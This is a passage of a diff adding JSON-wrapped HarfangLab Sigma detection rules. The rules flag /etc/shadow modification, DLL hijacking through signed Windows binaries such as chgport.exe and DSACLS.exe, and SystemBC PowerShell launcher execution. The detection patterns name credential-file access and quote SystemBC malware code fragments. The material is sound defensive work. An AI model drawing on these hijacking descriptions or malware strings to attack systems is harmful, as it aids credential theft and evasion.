+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622141Z",
+  "creation_date": "2026-03-23T11:45:34.622143Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622148Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md",
+    "https://attack.mitre.org/techniques/T1003/008/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1003_008_etc_shadow_modified.yml",
+  "content": "title: File /etc/shadow Modified\nid: 06168646-4339-42be-bcf4-a8f6ef23f53d\ndescription: |\n    Detects a suspicious attempt to modify /etc/shadow.\n    This file contains the encrypted passwords of all the accounts on the system and can be modified to change the password of a user.\n    It is recommended to ensure that both the process modifying this file and the user that requested the modification of a user's password are legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md\n    - https://attack.mitre.org/techniques/T1003/008/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2022/11/16\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.008\n    - attack.t1078\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/shadow'\n        - TargetPath: '/etc/shadow'\n\n    filter_access_old:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_access_new:\n        Kind:\n            - 'read'\n            - 'chmod'\n            - 'chown'\n\n    exclusion_common:\n        ProcessImage:\n            - '/lib/systemd/systemd'\n            - '/usr/lib/systemd/systemd'\n            - '/usr/bin/sudo'\n            - '/usr/bin/su'\n            - '/usr/sbin/sshd'\n            - '/usr/sbin/cron'\n            - '/usr/sbin/unix_chkpwd'\n            - '*/accountsservice/accounts-daemon'\n            - '/usr/bin/passwd'\n            - '/usr/sbin/usermod'\n            - '/usr/sbin/useradd'\n            - '/usr/sbin/userdel'\n            - '/usr/bin/chage'\n            - '/kaniko/executor'\n            - '/usr/sbin/chpasswd'\n            - '/bin/chmod'\n            - '/bin/adduser'\n            - '/usr/bin/podman'\n            - '/usr/bin/rootlesskit'\n            - '/usr/sbin/pwconv'\n            - '/usr/bin/chsh'\n            - '/usr/bin/systemd-sysusers'\n            - '/usr/lib/gdm3/gdm-session-worker'\n            - '/usr/lib/snapd/snap-update-ns'\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_cmp:\n        ProcessCurrentDirectory|startswith: '/var/backups/'\n        ProcessImage|endswith: '/cmp'\n        ProcessParentName: 'passwd'\n        ProcessGrandparentImage|endswith: '/run-parts'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_containerd:\n        ProcessGrandparentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n\n    exclusion_busybox_adduser:\n        ProcessImage: '/bin/busybox'\n        ProcessCommandLine|startswith: 'adduser '\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/nix/store/*-docker-containerd-*/bin/containerd'\n\n    exclusion_docker2:\n        ProcessImage: '*/bin/dockerd'\n        ProcessCommandLine: 'docker-applyLayer *'\n\n    exclusion_passwd_busybox:\n        ProcessImage: '/bin/busybox'\n        ProcessCommandLine|contains:\n            - 'passwd '\n            - 'chown '\n            - 'chpasswd '\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_buildah1:\n        ProcessCommandLine|startswith: 'storage-applyLayer'\n        ProcessParentImage: '/usr/bin/buildah'\n\n    exclusion_buildah2:\n        - ProcessCommandLine|startswith: 'buildah-in-a-user-namespace'\n        - ProcessGrandparentCommandLine|startswith:\n            - 'buildah from'\n            - 'buildah build'\n            - 'buildah commit'\n        - ProcessParentCommandLine|startswith:\n            - 'buildah from'\n            - 'buildah build'\n            - 'buildah commit'\n\n    exclusion_salt_minion:\n        - ProcessCommandLine:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n        - ProcessParentCommandLine|startswith:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n        - ProcessGrandparentCommandLine:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n\n    exclusion_snap:\n        ProcessImage:\n            - '/snap/snapd/??/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/???/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/????/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/?????/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/??????/usr/lib/snapd/snap-update-ns'\n        ProcessCommandLine|startswith: 'snap-update-ns'\n\n    exclusion_nixos:\n        ProcessGrandparentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "06168646-4339-42be-bcf4-a8f6ef23f53d",
+  "rule_name": "File /etc/shadow Modified",
+  "rule_description": "Detects a suspicious attempt to modify /etc/shadow.\nThis file contains the encrypted passwords of all the accounts on the system and can be modified to change the password of a user.\nIt is recommended to ensure that both the process modifying this file and the user that requested the modification of a user's password are legitimate.\n",
+  "rule_creation_date": "2022-11-16",
+  "rule_modified_date": "2026-01-21",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.008",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "063e3a72-3dc5-411b-8f95-7a288514f8e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082122Z",
+  "creation_date": "2026-03-23T11:45:34.082124Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082129Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_chgport.yml",
+  "content": "title: DLL Hijacking via chgport.exe\nid: 063e3a72-3dc5-411b-8f95-7a288514f8e5\ndescription: |\n    Detects potential Windows DLL Hijacking via chgport.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'chgport.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "063e3a72-3dc5-411b-8f95-7a288514f8e5",
+  "rule_name": "DLL Hijacking via chgport.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via chgport.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "065c4be3-1c64-4884-8239-a03e9bd028e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602221Z",
+  "creation_date": "2026-03-23T11:45:34.602224Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602232Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wlrmdr.yml",
+  "content": "title: DLL Hijacking via wlrmdr.exe\nid: 065c4be3-1c64-4884-8239-a03e9bd028e7\ndescription: |\n    Detects potential Windows DLL Hijacking via wlrmdr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wlrmdr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "065c4be3-1c64-4884-8239-a03e9bd028e7",
+  "rule_name": "DLL Hijacking via wlrmdr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wlrmdr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "06851538-293b-454e-ba25-02a9d4300ca4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609078Z",
+  "creation_date": "2026-03-23T11:45:34.609082Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609090Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c",
+    "https://twitter.com/malmoeb/status/1571985877424816130",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_systembc_powershell_execution.yml",
+  "content": "title: SystemBC PowerShell Execution\nid: 06851538-293b-454e-ba25-02a9d4300ca4\ndescription: |\n    Detects the execution of the PowerShell version of SystemBC's launcher.\n    SystemBC is a Malware-as-a-Service framework involved in numerous ransomware attacks.\n    It is recommended to investigate all the PowerShell commands associated with the process.\n    It is also recommended to check the process tree for suspicious activities.\nreferences:\n    - https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c\n    - https://twitter.com/malmoeb/status/1571985877424816130\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/09/27\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Malware.SystemBC\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - \"For ($*=0; $* -ne 50; $*++) { $*[$*] =* $* }\"\n            - '[string]$domain = \"{0}.{1}.{2}.{3}\" -f $a, $b, $c, $d'\n            - '[void]$ps.AddParameter(\"Rc4_crypt\", $*)'\n            - '[void]$ps.AddParameter(\"xordata_\", $*)'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "06851538-293b-454e-ba25-02a9d4300ca4",
+  "rule_name": "SystemBC PowerShell Execution",
+  "rule_description": "Detects the execution of the PowerShell version of SystemBC's launcher.\nSystemBC is a Malware-as-a-Service framework involved in numerous ransomware attacks.\nIt is recommended to investigate all the PowerShell commands associated with the process.\nIt is also recommended to check the process tree for suspicious activities.\n",
+  "rule_creation_date": "2022-09-27",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1071"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "068ce414-d762-41fa-88fd-5e0df21bb756",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081159Z",
+  "creation_date": "2026-03-23T11:45:34.081161Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081166Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_chglogon.yml",
+  "content": "title: DLL Hijacking via chglogon.exe\nid: 068ce414-d762-41fa-88fd-5e0df21bb756\ndescription: |\n    Detects potential Windows DLL Hijacking via chglogon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'chglogon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\REGAPI.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\utildll.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "068ce414-d762-41fa-88fd-5e0df21bb756",
+  "rule_name": "DLL Hijacking via chglogon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via chglogon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "06be143e-b032-4364-923d-de4d6d136dd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097139Z",
+  "creation_date": "2026-03-23T11:45:34.097140Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097145Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsacls.yml",
+  "content": "title: DLL Hijacking via DSACLS.exe\nid: 06be143e-b032-4364-923d-de4d6d136dd3\ndescription: |\n    Detects potential Windows DLL Hijacking via DSACLS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'DSACLS.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "06be143e-b032-4364-923d-de4d6d136dd3",
+  "rule_name": "DLL Hijacking via DSACLS.exe",
